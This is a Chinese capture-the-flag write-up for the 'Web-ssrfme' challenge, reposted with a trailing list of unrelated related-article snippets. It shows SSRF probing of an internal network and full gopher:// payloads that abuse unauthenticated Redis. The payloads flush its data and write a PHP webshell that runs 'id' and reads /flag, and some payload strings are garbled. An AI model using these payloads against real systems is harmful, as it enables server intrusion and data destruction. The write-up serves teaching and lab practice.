Web-ssrfme

文章目录

  • 环境
  • 分析
  • 攻击

环境

首先下载资源包,Ubuntu通过docker拉取环境。

docker-compose up -d

分析

<?php
highlight_file(__file__);
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['url'])){$url = $_GET['url'];if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?>

查看代码发现,存在url接收参数,传递参数尝试是否含有ssrf。
在这里插入图片描述
发现确实存在ssrf。
但是查看代码发现,过滤了file、dict、localhost等。
过滤dict是为了防止探测端口。
在这里插入图片描述
过滤file是为了防止读取文件。
在这里插入图片描述
查看代码发现,如果传递参数info,那么会打印phpinfo(),尝试看看有没有有用的线索。
在这里插入图片描述
当前主机的内网IP为172.20.0.3.
那么咱们尝试url为内网IP能不能有打印的东西。
在这里插入图片描述
发现打印了两次,也就是读取了两次这个文件。
那么尝试利用内网IP进行探测端口,这里使用burp。
在这里插入图片描述
从这里看,只开放了80端口,那没有什么用。
那去探测内网中是否存在其他服务器。
在这里插入图片描述
扫出来发现只有.2和.3存在怀疑。
尝试.2
在这里插入图片描述
确实存在web服务。那么扫描.2的端口
在这里插入图片描述
很明显,6379和80端口开着。
访问内网的.2的6379端口,出现了redis的报错。
那么就可以尝试redis未授权访问攻击了。
在这里插入图片描述

攻击

尝试使用gopherus工具打一下。
先尝试执行id,路径先选择默认。记得修改IP地址为内网IP地址。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

先解码查看
flushall是清空所有数据

gopher://172.20.0.2:6379/_*1
$8
flushall
*3
$3
set
$1
1
$23<?php system(`id`);*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

在这里插入图片描述
查看是否存在这个shell.php文件。
在这里插入图片描述
那么就是上传失败
再次使用url进行编码。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

发现一直在转圈圈。那么基本就是未写入。
那么尝试扫描路径,尝试寻找权限低的文件插入。
在这里插入图片描述
发现存在http://192.168.61.133:8091/?url=http://172.20.0.2:80/upload
尝试在这个里面写webshell。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再次使用url进行编码并且进行攻击。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

写入成功,但是没有执行
在这里插入图片描述
写拿flag的payload。

<?php system(\"cat /flag\");?>

在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20systemctl%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

以上帝视角发现成功。
记得二次编码。
在这里插入图片描述
在这里插入图片描述
也成功了
接下来就是写反弹shell了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/410238.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Zombie Slayer(僵尸枪手第三人称射击模板)

特征: -3个独特的玩家。 -4个独特的僵尸。 -三种类型的武器。手枪、突击步枪和手榴弹。 -2个独特的地点。墓地。 -武器升级系统。 易于添加新武器、等级、敌人。 下载:​​Unity资源商店链接资源下载链接 效果图:

网络优化2|最小生成树|Kruskal|Prim|Matlab

最小生成树问题 树 连通图 G ( V , E ) G(V,E) G(V,E)&#xff0c;若G中不含任何回路&#xff0c;则称G为树。 ∣ V ∣ 1 |V |1 ∣V∣1时称之为平凡树 生成树 G ( V , E ) G(V,E) G(V,E)&#xff0c;若G的一个生成子图是一棵树&#xff0c;则称之为G的一棵生成树&#…

Vue3+Ts封装input组件时遇到的问题

使用input事件监听输入框变化时&#xff0c;如果当前使用的输入法是中文&#xff0c;他也会触发input事件&#xff0c;正常来说&#xff0c;中文没有输入完毕是不用触发事件的。 控制台打印时发现&#xff1a; 那么我们应该怎么去规避这件事呢&#xff1f; 其实input还有几个事…

echarts地图-单独给香港和澳门画引导线

因为香港特别行政区和澳门特别行政区的名字特别长又需要显示全名 所以显示在地图上会挤在一起&#xff0c;所以根据天地图的坐标来加了两个引导线&#xff08;echarts5以下&#xff01;&#xff01;&#xff01;&#xff09; var fullName {北京: 北京市,天津: 天津市,河北: …

利用深度学习技术来实现街景图像的语义分割(街景图像语义分割)

本项目致力于利用深度学习技术来实现街景图像的语义分割。通过精确地识别和分类图像中的每个像素&#xff0c;该技术能够自动划分出街道、人行道、车辆、行人等各种不同的物体类别。这在智能交通系统、自动驾驶、城市规划等领域有着广泛的应用前景。 技术实现 深度学习模型&am…

从永远到永远-日语学习-て形用法及变形规律

て形用法及变形规律 0.前置知识1.常见用法1.请求某人做某事 「&#xff5e;てください」2.几个连续发生的动作 &#xff5e;て、&#xff5e;て、&#xff5e;て3.两个动作先后发生「てから」4. 表示许可 「てもいいです」5.表示禁止 「&#xff5e;てはいけません」6.「&#…

IPv4和IPv6的区别是什么?什么是局域网和广域网,公网IP和私有IP?

文章目录 1.基本网络2.局域网3.广域网4.IPv4与NAT5.公网IP和私有IP6.IPv6 1.基本网络 我们都知道计算机的数据都是存在各自硬盘中的,与其他计算机之间没有人任务关系. 假设计算机A需要给计算机B发送数据,可以选择使用U盘这类移动存储数据来拷贝数据来实现数据交互,但是这样一…

Docker 部署 Kafka 可视化 Kafka-UI

前言 本文部署的Kafka-UI 是基于Docker Compose 部署 Kafka的KRaft模式&#xff0c;如有需要可访问下文链接 Docker Compose 部署 Kafka的KRaft模式 不用依赖 Zookeeper 此部署也适用于不是docker部署的kafka集群 1.启动 Kafka-UI 服务 1.1 kafka 来自docker安装 docker r…

swagger,Knife4j和Yapi

目录 swagger swagger的作用 swagger的使用 一.导入依赖 二.创建swagger配置类&#xff0c;交给SpringIoC容器管理 三.使用swagger依赖的注解来给接口层(controller)的各种方法进行注释 Api ApiOperation ApiImplicitParam ApiModel ApiModelProperty 四&#xff1a;…

mac苹果电脑配置Docker最新国内源

如图&#xff1a; 具体配置如下: {"builder": {"gc": {"defaultKeepStorage": "20GB","enabled": true}},"experimental": false,"registry-mirrors": ["https://docker.anyhub.us.kg", &…

ssrf漏洞之php-fpm未授权访问漏洞利用

目录 环境搭建 ​编辑漏洞点寻找 开始攻击 结果 环境搭建 在你的网站目录下创建一个新的php文件&#xff0c;内容如下 <?php highlight_file(__FILE__); $url $_GET[url]; $curl curl_init($url); curl_setopt($curl, CURLOPT_HEADER, 0); $responseText curl_exec…

ES6笔记总结:第四天(ES6完结)

Xmind鸟瞰图&#xff1a; 简单文字总结&#xff1a; node的模块化&#xff1a; 1.CommonJS 规范&#xff1a;Node.js 遵循 CommonJS 模块规范&#xff0c;该规范定义了如何在服务器环境中实现模块化&#xff0c;包括如何定义模块、如何引入和使用模块。 2.模块的定义&…

CISAW信息安全保障人员考试合格分数是多少?

在网络安全领域&#xff0c;众多认证证书中&#xff0c;CISAW信息安全保障人员认证备受瞩目。 随着信息安全专家的需求激增&#xff0c;国内面临着专业人才的短缺&#xff0c;越来越多人投身于CISAW认证考试。 那么&#xff0c;要通过CISAW认证需多少分数呢&#xff1f;答案是…

【知识图谱】2.知识抽取与知识存储

目录 一、知识抽取 1、实体命名识别&#xff08;Name Entity Recognition&#xff09; 2、关系抽取&#xff08;Relation Extraction&#xff09; 3、实体统一&#xff08;Entity Resolution&#xff09; 4、指代消解&#xff08;Coreference Resolution&#xff0…

【面试问题汇总】

面试问题汇总: Math.round函数:基础加0.5,向下取整 MySQL查询执行流程: 当我们执行一条SQL查询语句时,MySQL数据库会按照以下步骤进行处理: 语法解析器会对SQL语句进行解析,检查SQL语法是否正确。元数据查询器会检查查询的表和字段是否存在,以及当前用户是否具有相应…

RFID光触发标签在零售行业的深度应用

零售行业作为现代经济的重要组成部分&#xff0c;面临着诸多挑战和竞争压力&#xff0c;消费者需求的多样化、快速变化的市场趋势以及日益复杂的供应链管理&#xff0c;都对零售商提出了更高的要求&#xff0c;在这样的背景下&#xff0c;寻求创新的技术解决方案以提高运营效率…

Openstack 与 Ceph集群搭建(下): Openstack部署

文章目录 文章参考部署节点准备1. 修改Host文件与hostname名称2. 安装NTP软件3. 网卡配置信息4. 开启Docker共享挂载5. 安装python虚拟环境6. 安装kolla-ansible7. 加载Ansible galaxy requirements Openstack 安装前预配置1. 配置密码2. 配置multinode文件3. 修改全局配置文件…

在Windows上用Visual Studio编译Tesseract

Tesseract是著名的OCR&#xff08;文字识别&#xff09;开源项目。我想自己编译它的源代码。然而总体而言&#xff0c;大型开源项目在Windows上编译多少都会有些磕磕绊绊&#xff0c;如果有幸最后成功了&#xff0c;都值得写一篇文章来纪念一下。这便是本文的由来。 编译环境&…

客户端可以访问ntp时钟源,时间却一直不同步的问题

ntp时钟源通常是通过开放123 的udp端口对外提供ntp服务的&#xff0c;udp端口的访问可以通过nc -uvz xx.xx.xx.xx 123 端口进行验证&#xff0c;验证发现ntp时钟服务的123端口是开放的&#xff0c;也没有防火墙拦截123端口&#xff0c;但为什么客户端不同步ntp时钟源呢&#xf…

OpenCV杂项图像变换(1)自适应阈值处理函数adaptiveThreshold()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 函数对数组应用自适应阈值。 该函数根据以下公式将灰度图像转换为二值图像&#xff1a; 对于 THRESH_BINARY: t e x t d s t ( x , y ) { maxV…